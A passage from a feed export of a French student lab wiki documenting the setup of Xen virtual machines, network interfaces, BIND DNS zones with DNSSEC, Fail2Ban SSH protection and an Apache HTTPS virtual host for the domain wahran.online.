root@Gtr:/etc/bind/wahran.online# named-checkzone wahran.zone wahran.zone &lt;br /&gt;
zone wahran.zone/IN: loaded serial 3601&lt;br /&gt;
OK&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérifications==&lt;br /&gt;
Enfin, nous avons vérifié la syntaxe et chargé ces fichiers de zone en utilisant la commande suivante dans le répertoire concerné :&lt;br /&gt;
&lt;br /&gt;
named-checkzone &amp;lt;nom du fichier&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ces configurations nous permettent d’assurer une résolution correcte des noms de domaine et de gérer efficacement notre infrastructure DNS.&lt;br /&gt;
&lt;br /&gt;
Après avoir effectué ces modifications, nous pouvons vérifier si notre DNS s’est correctement propagé sur le site DNSchecker. Comme le montre cet capture d'écran, la propagation est bien effective dans la zone de Lille avec une adresse IPv6 :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:DNS_Lille.png|vignette|center|800px]]&lt;br /&gt;
&lt;br /&gt;
=DNSSEC=&lt;br /&gt;
&lt;br /&gt;
==Configuration de la méthode automatique==&lt;br /&gt;
Pour sécuriser notre DNS, nous modifions notre fichier named.conf.local pour utiliser la méthode automatique:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Génération des clés==&lt;br /&gt;
ensuite nous créeons le répertoire qui va acceuillir nos clés:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkdir -p /etc/bind/keys&lt;br /&gt;
chown bind:bind /etc/bind/keys&lt;br /&gt;
chmod 700 /etc/bind/keys&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
et nous redémarrons le service :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
service named restart&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
voici nos clés disponible dans le répertoire /etc/bind/keys crée ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# ls /etc/bind/keys&lt;br /&gt;
Kwahran.online.+013+17231.key	   Kwahran.online.+013+62188.key&lt;br /&gt;
Kwahran.online.+013+17231.private  Kwahran.online.+013+62188.private&lt;br /&gt;
Kwahran.online.+013+17231.state    Kwahran.online.+013+62188.state&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant verifier sur le site &amp;quot;DNSViz&amp;quot; le DNS de ns.wahran.online, pour l'instant le site indique une erreur : wahran.online zone: The server(s) were not responsive to queries over UDP.&lt;br /&gt;
&lt;br /&gt;
J'essaye de regler cela.&lt;br /&gt;
&lt;br /&gt;
=Fail2Ban=&lt;br /&gt;
Nous pouvons implémenter une fonctionnalité pour sécuriser notre VM : bannir une IP après plusieurs tentative de connexions ssh raté.&lt;br /&gt;
dans /etc/fail2ban/jail.local nous ajoutons ces options:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
[sshd]&lt;br /&gt;
enable	= true&lt;br /&gt;
port    = ssh&lt;br /&gt;
filter	= sshd&lt;br /&gt;
maxretry = 5&lt;br /&gt;
findtime = 300&lt;br /&gt;
bantime  = 600&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après 5 tentative de ssh échouée, l'IP en question sera banni 10 minutes:&lt;br /&gt;
&lt;br /&gt;
=HTTPS=&lt;br /&gt;
==Installation d'Apache2==&lt;br /&gt;
Dans un premier temps, j'ai installé le serveur Apache en utilisant la commande suivante :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
aptitude install apache2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, j'ai activé le module SSL pour permettre les connexions HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
a2enmod ssl&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Activation du port HTTPS==&lt;br /&gt;
Dans le fichier `/etc/apache2/ports.conf`, j'ai ajouté la configuration nécessaire pour qu'Apache écoute sur le port 443, le port HTTPS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/ports.conf&lt;br /&gt;
# Port HTTP classique&lt;br /&gt;
Listen 80&lt;br /&gt;
&lt;br /&gt;
# Port HTTPS&lt;br /&gt;
&amp;lt;IfModule ssl_module&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;IfModule mod_gnutls.c&amp;gt;&lt;br /&gt;
    Listen 443&lt;br /&gt;
&amp;lt;/IfModule&amp;gt;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du certificat SSL==&lt;br /&gt;
J'ai installé un certificat SSL, ainsi que la clé privée et le certificat intermédiaire fourni par Gandi pour créer une chaîne de confiance. Ces fichiers sont placés dans les répertoires appropriés sur le serveur :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/etc/ssl/certs/wahran.online.crt : Certificat SSL&lt;br /&gt;
/etc/ssl/private/myserver.key : Clé privée&lt;br /&gt;
/etc/ssl/certs/GandiCert.pem : Certificat intermédiaire&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration du domaine sécurisé==&lt;br /&gt;
J'ai créé un fichier de configuration spécifique pour mon domaine (wahran.online) dans le répertoire `/etc/apache2/sites-available/000-wahran.online-ssl.conf`. Ce fichier définit un `VirtualHost` pour le port 443 et redirige toute les requetes http sur le port 80 vers https :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/apache2/sites-available/000-wahran.online-ssl.conf &lt;br /&gt;
&lt;br /&gt;
  &amp;lt;VirtualHost *:80&amp;gt;&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        Redirect permanent / https://ns.wahran.online/  &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:443&amp;gt;&lt;br /&gt;
&lt;br /&gt;
        ServerName wahran.online&lt;br /&gt;
        ServerAlias wahran.online&lt;br /&gt;
        DocumentRoot /var/www/wahran.online/&lt;br /&gt;
        CustomLog /var/log/apache2/secure_access.log combined&lt;br /&gt;
&lt;br /&gt;
        SSLEngine on&lt;br /&gt;
        SSLCertificateFile /etc/ssl/certs/wahran.online.crt&lt;br /&gt;
        SSLCertificateKeyFile /etc/ssl/private/myserver.key&lt;br /&gt;
        SSLCertificateChainFile /etc/ssl/certs/GandiCert.pem&lt;br /&gt;
        SSLVerifyClient None&lt;br /&gt;
        SSLProxyEngine on&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
lorsque l'on se rend sur h, nous somme redirigé vers .&lt;br /&gt;
&lt;br /&gt;
==Configuration DNS avec DNSSEC==&lt;br /&gt;
Pour la gestion des DNS de mon domaine, j'ai configuré le fichier `/etc/bind/named.conf.local` pour ajouter la zone DNS de `wahran.online` avec une politique DNSSEC, ce qui renforce la sécurité de la gestion de mes enregistrements DNS :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
root@Gtr:~# cat /etc/bind/named.conf.local&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
	key-directory &amp;quot;/etc/bind/keys&amp;quot;; //repertoire des keys&lt;br /&gt;
  	dnssec-policy &amp;quot;dnspol&amp;quot;; //utilisation d'une politique DNSSEC&lt;br /&gt;
  	inline-signing yes; //activation de la signature automatique&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02; //IPv6 Proxy&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
dnssec-policy &amp;quot;dnspol&amp;quot; {&lt;br /&gt;
    keys {&lt;br /&gt;
        ksk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
        zsk key-directory lifetime unlimited algorithm 13;&lt;br /&gt;
    };&lt;br /&gt;
    nsec3param;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
masters &amp;quot;hiddensecondaries&amp;quot;{&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fea0:ae02;&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;alloco.online&amp;quot;{&lt;br /&gt;
	type slave;&lt;br /&gt;
	file &amp;quot;/etc/bind/backup/alloco.online&amp;quot;;&lt;br /&gt;
	masters{2001:660:4401:60a0:216:3eff:fe81:abfe;};&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Vérification du certificat SSL==&lt;br /&gt;
Enfin, j'ai effectué le rehash de la structure SSL pour m'assurer que tous les certificats étaient bien reconnus et prêts à être utilisés :&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
c_rehash /etc/ssl/certs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Yyahiani</name></author>
	</entry>
	<entry>
		<id>https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12087</id>
		<title>Atelier SysRes SE4 2025/2026 E8</title>
		<link rel="alternate" type="text/html" href="https://wiki-se.plil.fr/mediawiki/index.php?title=Atelier_SysRes_SE4_2025/2026_E8&amp;diff=12087"/>
		<updated>2026-02-07T16:09:37Z</updated>

		<summary type="html">&lt;p&gt;Yyahiani : &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;=Création du pont et des VM=&lt;br /&gt;
&lt;br /&gt;
== Création du pont: ==&lt;br /&gt;
Dans capbreton, dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; on renseigne notre pont &amp;lt;code&amp;gt;pontclio&amp;lt;/code&amp;gt;&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto pontclio&lt;br /&gt;
iface pontclio inet manual&lt;br /&gt;
  bridge_ports none&lt;br /&gt;
  up ip link set $IFACE up&lt;br /&gt;
  down ip link set $IFACE down&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Création des VM: ==&lt;br /&gt;
Pour créer nos VM avec xen (2 VM services + 1 VM mandataire):&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.RS7 --dir=/usr/local/xen --dist=excalibur --size=10GB --memory=1024M --bridge=pontclio --dhcp &amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite créer les partitions &amp;lt;code&amp;gt;var&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;home&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.home virtual&lt;br /&gt;
lvcreate -L10G -nSE4.RS7.var virtual&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Les ajouter dans le fichier &amp;lt;code&amp;gt;/etc/xen/SE4.RS7&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
'phy:/dev/virtual/SE4.RS7-home,xvda3,w',&lt;br /&gt;
'phy:/dev/virtual/SE4.RS7-var,xvdb1,w',&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour monter le &amp;lt;code&amp;gt;/home&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;/var&amp;lt;/code&amp;gt;:&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
umount /mnt&lt;br /&gt;
mount -a&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Configuration des VM: ==&lt;br /&gt;
&lt;br /&gt;
rajouter un vif dans le fichier de configuration de la VM:&lt;br /&gt;
dans &amp;lt;code&amp;gt;/etc/xen/SE4.RS7.cfg&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
vif         = [ 'mac=00:16:3E:D3:58:AD,bridge=pontclio', &lt;br /&gt;
                'mac=00:16:3E:D3:58:AE,bridge=SE4' ]     #vif ajouté&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite dans la VM ajouter les interfaces dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
auto lo&lt;br /&gt;
iface lo inet loopback&lt;br /&gt;
&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
        address 192.170.0.2/24&lt;br /&gt;
        gateway 192.170.0.1&lt;br /&gt;
&lt;br /&gt;
iface eth1 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Relancer la VM puis après un &amp;lt;code&amp;gt;ifup&amp;lt;/code&amp;gt; on remarque que nos interfaces sont actives :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight&amp;gt;&lt;br /&gt;
root@C2:~# ip link show&lt;br /&gt;
1: lo: &amp;lt;LOOPBACK,UP,LOWER_UP&amp;gt; mtu 65536 qdisc noqueue state UNKNOWN mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00&lt;br /&gt;
2: eth0: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:58:ad brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
3: eth1: &amp;lt;BROADCAST,MULTICAST,UP,LOWER_UP&amp;gt; mtu 1500 qdisc fq_codel state UP mode DEFAULT group default qlen 1000&lt;br /&gt;
    link/ether 00:16:3e:d3:58:ae brd ff:ff:ff:ff:ff:ff&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Création de la VM=&lt;br /&gt;
&lt;br /&gt;
==Partitions==&lt;br /&gt;
Nous commençons par nous mettre en ssh sur capbreton et à rentrer cet commande pour créer nos machines virtuelles (2 VM services + 1 VM mandataire) :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen-create-image --hostname=SE4.Gtr --dhcp --dir=/usr/local/xen --size=10G --dist=daedalus --memory=2G --bridge=alloco_wahran&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous assignons les partitions dans le fichier /etc/xen/SE4.Gtr.cfg:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
phy:/dev/virtual/SE4.Gtr-home,xvdb1,w,&lt;br /&gt;
phy:/dev/virtual/SE4.Gtr-var,xvda3,w,&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Pour démarrer notre VM nous exécutons la commande suivante: &lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen create SE4.Gtr.cfg &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous pouvons vérifier si la VM est démarrée avec:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen list&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Par la suite nous nous connectons à la VM de cette manière:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
xen console SE4.Gtr&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous devons maintenant implémenter /var et /home dans nos partitions LVM, on se place donc dans le fichier /etc/fstab pour y ajouter nos disk:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
/dev/xvda3 /home ext4 defaults 0 2&lt;br /&gt;
/dev/xvdb1 /var ext4 defaults 0 2&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
(J'ai fais une petite erreur sur cette partie car j'ai assigné /dev/xvdb1 à /var alors que ce n'était pas le bon, /var était sur xvda3, cette erreur n'est pas si grave je vais juste devoir faire attention à bien différencier /var et /home par la suite)&lt;br /&gt;
&lt;br /&gt;
Et nous formatons ces disk avec ces deux commandes:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mkfs -t ext4 /dev/xvda3&lt;br /&gt;
mkfs -t ext4 /dev/xvdb1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Il faut maintenant Mount les fichiers à implémenter le /var (xvda3 pour moi), or j'ai Mount le xvdb1 par mégarde comme énoncé ci-dessus:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount /dev/xvdb1 /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On copie les données et on démonte le fichier copié:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mv /var/* /mnt&lt;br /&gt;
unmount /mnt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous pouvons maintenant observer les changement:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
mount -a&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=IP=&lt;br /&gt;
Nous voulons maintenant assigner des adresse IPv4 et IPv6 à nos VM, chaque VM de service aura une IP privée, la VM mandataire aura une IP privée + une IP routée, pour cela nous modifions le fichier /etc/network/interfaces de nos VM, il ne faut pas oublier de modifier le fichier .cfg pour rajouter nos machines sur le commutateur SE4 (commutateur de la promo) en prenant la même adresse MAC et faire +1:&lt;br /&gt;
&lt;br /&gt;
==VM de service==&lt;br /&gt;
&lt;br /&gt;
Pour configurer le réseau, nous modifions le fichier /etc/network/interfaces afin d’attribuer une adresse IPv4 et une adresse IPv6.&lt;br /&gt;
&lt;br /&gt;
Tout d'abord nous devons mettre nos machines sur le commutateur de la promo en modifiant le fichier .cfg:&lt;br /&gt;
&lt;br /&gt;
L’adresse IPv6 ne pose aucun problème : il suffit d’ajouter la ligne suivante :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Concernant l’adresse IPv4, nous avons choisi une adresse privée pour l’utilisation de notre binôme : 192.168.0.0/24.&lt;br /&gt;
&lt;br /&gt;
De plus, la machine mandataire joue le rôle de passerelle (gateway) pour les deux machines de services. Nous lui avons attribué l’adresse IPv4 192.168.0.1.&lt;br /&gt;
&lt;br /&gt;
Nous complétons donc le fichier avec une adresse statique :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.2 &lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
    gateway 192.168.0.1 &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==VM mandataire==&lt;br /&gt;
&lt;br /&gt;
Ensuite, il est nécessaire d’attribuer une seconde adresse IPv4 sur eth1. Toutefois, cette interface n’existe pas par défaut sur les machines virtuelles (VM). Il faut donc la créer en modifiant le fichier .cfg de la machine sur Capbreton.&lt;br /&gt;
&lt;br /&gt;
Dans la section Networking, on trouve une ligne vif à modifier. Nous l’ajustons pour ajouter une interface eth1 sur le bridge SE4, tout en conservant eth0.&lt;br /&gt;
&lt;br /&gt;
Après avoir redémarré la machine, l’interface eth1 sera disponible. Nous pouvons alors mettre à jour le fichier /etc/network/interfaces :&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
auto eth0&lt;br /&gt;
iface eth0 inet static&lt;br /&gt;
    address 192.168.0.1&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
#iface eth0 inet dhcp&lt;br /&gt;
# post-up ethtool -K eth0 tx off&lt;br /&gt;
iface eth0 inet6 auto&lt;br /&gt;
&lt;br /&gt;
auto eth1&lt;br /&gt;
iface eth1 inet static&lt;br /&gt;
    address 193.48.57.162/28&lt;br /&gt;
    gateway 193.48.57.161&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Après avoir fait un ifdown et un ifup nous pouvons envoyer des pings entre nos VM de service et avec la VM mandataire:&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Gyro (192.168.0.3):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping gyro.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
Ping de SE4.Gtr (192.168.0.2) vers SE4.Pegase (192.168.0.1):&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ping pegase.png|vignette|center]]&lt;br /&gt;
&lt;br /&gt;
=SSH=&lt;br /&gt;
&lt;br /&gt;
Nous avons configuré l’accès SSH à notre machine virtuelle Xen de services en autorisant la connexion de l’utilisateur root via le fichier /etc/ssh/sshd_config en activant l’option PermitRootLogin. Pour permettre l’accès via IPv4, nous avons mis en place une redirection de ports en utilisant iptables/nftables, en assignant le port 2203 à notre machine de services. De plus, nous avons installé les services essentiels, à savoir SSH, Apache2 pour l’hébergement web, ainsi que BIND pour la gestion des services DNS sur nos machines virtuelles.&lt;br /&gt;
&lt;br /&gt;
=DNS=&lt;br /&gt;
==Configuration du résolveur==&lt;br /&gt;
Nous avons configuré le serveur DNS de notre machine de services en modifiant le fichier resolv.conf pour y ajouter notre propre serveur DNS. Cela permet à la machine d’utiliser le bon résolveur pour la résolution des noms de domaine:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
search plil.info&lt;br /&gt;
nameserver 172.26.188.12&lt;br /&gt;
nameserver 193.48.57.48&lt;br /&gt;
&lt;br /&gt;
search wahran.online&lt;br /&gt;
nameserver 192.168.0.2&lt;br /&gt;
nameserver 192.168.0.3&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Configuration des zones==&lt;br /&gt;
Ensuite, nous avons modifié le fichier named.conf.local du package BIND9 afin de déclarer une zone principale pour wahran.online et une zone secondaire pour alloco.online.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
//&lt;br /&gt;
// Do any local configuration here&lt;br /&gt;
//&lt;br /&gt;
&lt;br /&gt;
// Consider adding the 1918 zones here, if they are not used in your&lt;br /&gt;
// organization&lt;br /&gt;
//include &amp;quot;/etc/bind/zones.rfc1918&amp;quot;;&lt;br /&gt;
&lt;br /&gt;
zone &amp;quot;wahran.online&amp;quot; {&lt;br /&gt;
	type master;&lt;br /&gt;
	file &amp;quot;/etc/bind/wahran.online/wahran.zone&amp;quot;;&lt;br /&gt;
	allow-transfer{secondaries;}; // filtrage des secondaires&lt;br /&gt;
//	also-notify{hiddensecondaries;}; // pour les secondaires vicieux&lt;br /&gt;
	notify yes; // notification des secondaires&lt;br /&gt;
};&lt;br /&gt;
&lt;br /&gt;
acl &amp;quot;secondaries&amp;quot; {&lt;br /&gt;
	192.168.0.3; // serveur secondaire&lt;br /&gt;
	2001:660:4401:60a0:216:3eff:fe81:abfe; //serveur secondaire IPV6&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Création et configuration du fichier .zone==&lt;br /&gt;
Nous avons ensuite créé et configuré le fichier wahran.zone.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;shell&amp;quot;&amp;gt;&lt;br /&gt;
$TTL 100&lt;br /&gt;
&lt;br /&gt;
@	IN	SOA	ns.wahran.online.	postmaster.wahran.online. (&lt;br /&gt;
	3600	; Version&lt;br /&gt;
	21600	; Refresh secondary	(6h)&lt;br /&gt;
	3600	; Retry secondary	(1h)&lt;br /&gt;
	2592000	; Expire if no refresh	(30 jours)&lt;br /&gt;
	86400	; Negative cache	(24h)&lt;br /&gt;
)&lt;br /&gt;
&lt;br /&gt;
